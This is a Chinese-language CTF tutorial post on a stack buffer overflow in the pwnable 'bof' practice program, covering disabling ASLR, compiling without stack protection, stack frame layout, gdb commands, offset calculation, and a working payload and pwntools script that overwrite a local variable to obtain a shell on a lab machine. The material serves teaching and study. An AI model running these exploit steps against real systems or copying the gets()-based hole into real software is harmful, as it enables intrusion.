-
-
[原创]从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
-
2020-5-2 01:40
18108
-
[原创]从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
作者:dxbaicai
1. 教程说明
2. 环境设置及编译说明
2.1 环境设置
为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。
1 2 | echo 0 > / proc / sys / kernel / randomize_va_space
|
2.2 编译源文件
在实验环境创建.c源代码文件,使用如下命令进行编译。
1 | gcc - 4.8 - g - m32 - O0 - fno - stack - protector - z execstack - o [可执行文件名] [源文件名]
|
知识点-编译参数说明
- -m32:使用32位编译
- -O0:关闭所有优化
- -g:在可执行文件中加入源码信息
- -fno-stack-protector:关闭栈保护
- -z execstack:启用栈上代码可执行
3. 栈溢出HelloWorld
3.1 bof程序
我们来看这样一段程序,来自PWN著名站点pwnable的经典程序bof,下载下来代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | void func( int key){
char overflowme[ 32 ];
printf( "overflow me : " );
gets(overflowme); / / smash me!
if (key = = 0xcafebabe ){
system( "/bin/sh" );
}
else {
printf( "Nah..\n" );
}
}
int main( int argc, char * argv[]){
func( 0xdeadbeef );
return 0 ;
}
|
我们先简单读一下这段代码,main函数中调用了func函数,但参数为0xdeadbeef,func函数中定义了一个char overflowme[32]的32位字符数组,调用gets函数获取用户的输入,如果key参数是0xcafebabe,则返回shell。可以看到我们的目的就是想办法使得参数key等于0xcafebabe,这样就能get shell,但是key在main函数调用时写死了,有什么办法可以改动吗?
注意这句gets(overflowme);,会将我们输入的内容填入overflowme字符数组,如果填入超过32位的定义长度,就会发生栈溢出。
- 使用如下命令进行编译
1 | gcc - 4.8 - g - m32 - O0 - fno - stack - protector - z execstack - o bof_32 - gcc4. 8 bof.c
|
注:本题pwnable官网是打开了栈保护和栈不可执行(通过checksec可以查看),但是我们本地环境编译时是关闭的,会造成栈偏离量略有不同,但思路是相同的。
3.2 寄存器与栈结构
- 寄存器
函数状态主要涉及三个寄存器--esp,ebp,eip。
- esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
- ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
- eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
1 2 3 4 | 1. 随着函数执行,地址从高地址向低地址增长。
2. esp寄存器指向栈顶。
3. 按先进后出原则,调用函数(caller)先入栈,被调用函数(callee)后入栈。
|
- 发生函数调用时,会先将被调用函数(callee)的参数按逆序压入栈内,这些参数会保存在调用函数(caller)的函数状态内。
- 然后压入被调用函数(callee)的返回地址(即调用后的下一条指令的地址),这样就保存了调用函数的eip寄存器内容。
- 继续压入调用函数(caller)的基址,也就是当前ebp寄存器的值,同时将ebp寄存器的值更新为当前栈顶的地址(mov ebp,esp),这样调用函数(caller)的基地址信息得以保存,后续调用完毕返回时,可以用于恢复ebp。
- 继续压入被调用函数的局部变量等数据。
- 在压栈过程中,esp寄存器的值会逐渐减小(栈从内存高地址向地址值“生长”)。发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依序执行被调用函数的指令了。
- 调用结束时,栈变化的核心任务是弹出被调用函数(callee)的状态,并将整个栈恢复到调用函数(caller)的状态。首先弹出被调用函数(callee)的局部变量,然后将栈上存储的调用函数(caller)的基地址从栈内弹出,并重新保存到ebp寄存器中,这样调用函数的基地址信息得以恢复,此时栈顶会指向返回地址。最后将返回地址从栈顶弹出,并保存到eip寄存器内,这样调用函数的eip指令信息得以恢复,指向了调用函数后的下一条语句。
3.3 通过调试程序观察栈结构变化
上面说的可能还是太抽象了,最好的办法就是自己动手调试跟踪一下程序运行过程中栈的变化情况,因为栈结构的理解在PWN中是基础的基础,非常重要,所以这里建议大家一定要自己调试一下去理解这一变化过程。
左侧为eip指令的地址,我们给0x080491ef这条call func指令下断点,然后r运行,程序会到断点处停下。
1 2 3 4 | (gdb) b * 0x080491ef
(gdb) r
|
此时查看栈信息,可以看到如之前描述,栈顶存放的是main函数中func(0xdeadbeef)的参数。
- 单步执行,继续观察栈的变化,可以看到已经进入了func函数内部开始执行,并且观察到此时栈顶已经压入了返回地址,返回地址值为main函数中call func语句的下一条语句的地址0x080491f4。
和main函数中进行对比,发现一致。
- 后续可以从执行的汇编语句上看出将依次压入当前esp并开始执行func函数内部。
知识点-gdb调试工具常用指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | (gdb) checksec
输出:
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb attach [pid]
starti
(gdb) disassemble main
disassemble / m func
(gdb) b * [address]
(gdb) r
(gdb) x / 2wx $esp
p $寄存器:显示寄存器指向的地址
用x命令可以显示内容,“x / 格式 地址”。
x $pc:显示程序指针内容
x / i $pc:显示程序指针汇编。
x / 10i $pc:显示程序指针之后 10 条指令。
(gdb) c
(gdb) stepi
或 单步过
(gdb) ni
或 单步入
(gdb) si
(gdb) i r
(gdb) display / 3i $eip
(gdb) info proc mappings / (gdb) info proc map
——可以用于查找libc信息
(gdb) find "/bin/sh"
|
3.4 攻击思路
掌握了上面的函数调用过程,回到上面的问题上来,我们要怎么使得key == 0xcafebabe呢?
- 找出参数key所在的地址。
- 找出func函数局部变量overflowme开始填充的地址。
- 计算2者的差值,填充差值长度的padding,并在随后填入用于比较的值0xcafebabe。
- 找出参数key所在的地址
在main函数的call func处下断点,执行,查看栈内容,此时栈顶地址0xffffd610即为argv1,也就是key参数。这个之前已有描述。1 2 3 | (gdb) b * 0x080491ef
(gdb) r
|
- 找出func函数局部变量overflowme开始填充的地址
我们可以利用填充特殊字符,找出从哪个地址开始填写的,例如输入60个A。在func函数的gets调用的下一步下断点(此时已经完成了特殊字符填充,方便我们找到从哪个地址开始)。1 2 3 | (gdb) b * 0x080491ba
(gdb) c
|
可以看到从地址0xffffd5e0开始填充a,计算0xffffd610 - 0xffffd5e0 = 48,即填充48位的padding后,即开始覆盖参数key的值。
1 2 3 | (gdb) p / d 0xffffd610 - 0xffffd5e0
$ 1 = 48
|
- 因为程序是小端序(什么是小端序可以自行搜索,简单的说就是按4字节逆序),所以0xcafebabe应该转为bebafeca,故可以构造如下payload:
1 | (python - c 'print "a"*48 + "\xbe\xba\xfe\xca"' ; cat - ) | . / bof_32 - gcc4. 8
|
可以看到成功执行System函数,得到了Shell:
将程序通过socat发布到5555端口
1 | nohup socat tcp4 - listen: 5555 ,reuseaddr,fork exec : / home / pwn / test / bof_32 - gcc4. 8
|
在虚拟机外执行payload测试
1 | (python - c 'print "a"*48+"\xbe\xba\xfe\xca"' ; cat - )|nc 10.211 . 55.6 5555
|
成功获得Shell
3.5 特别说明
再次强调,官网由于开启了栈保护,相比本地环境没有开启,会在栈上额外插入4字节的保护内容(padding变为52位),但并不影响解题思路。
3.6 pwntools实现
这里提供了pwntools攻击的实现,注释已有详细说明。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import *
def p32_trans_iso_8859_1(value):
result = p32(value).decode( 'iso-8859-1' )
return result
context(arch = 'amd64' , os = 'linux' )
c = process( "./bof_32-gcc4.8" )
payload = 'A' * 48 + p32_trans_iso_8859_1( 0xcafebabe )
c.sendline(payload)
c.interactive()
|
4. 总结
通过这样一个栈溢出程序练习,掌握了程序基本的栈调用结构,初步体会到了栈溢出的效果。那么我们继续思考,本题中是直接提供了system("/bin/sh")语句反弹shell,如果没有这句,我们又要怎么获得Shell呢?
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2020-11-29 22:05
被dxbaicai编辑
,原因: 附件处理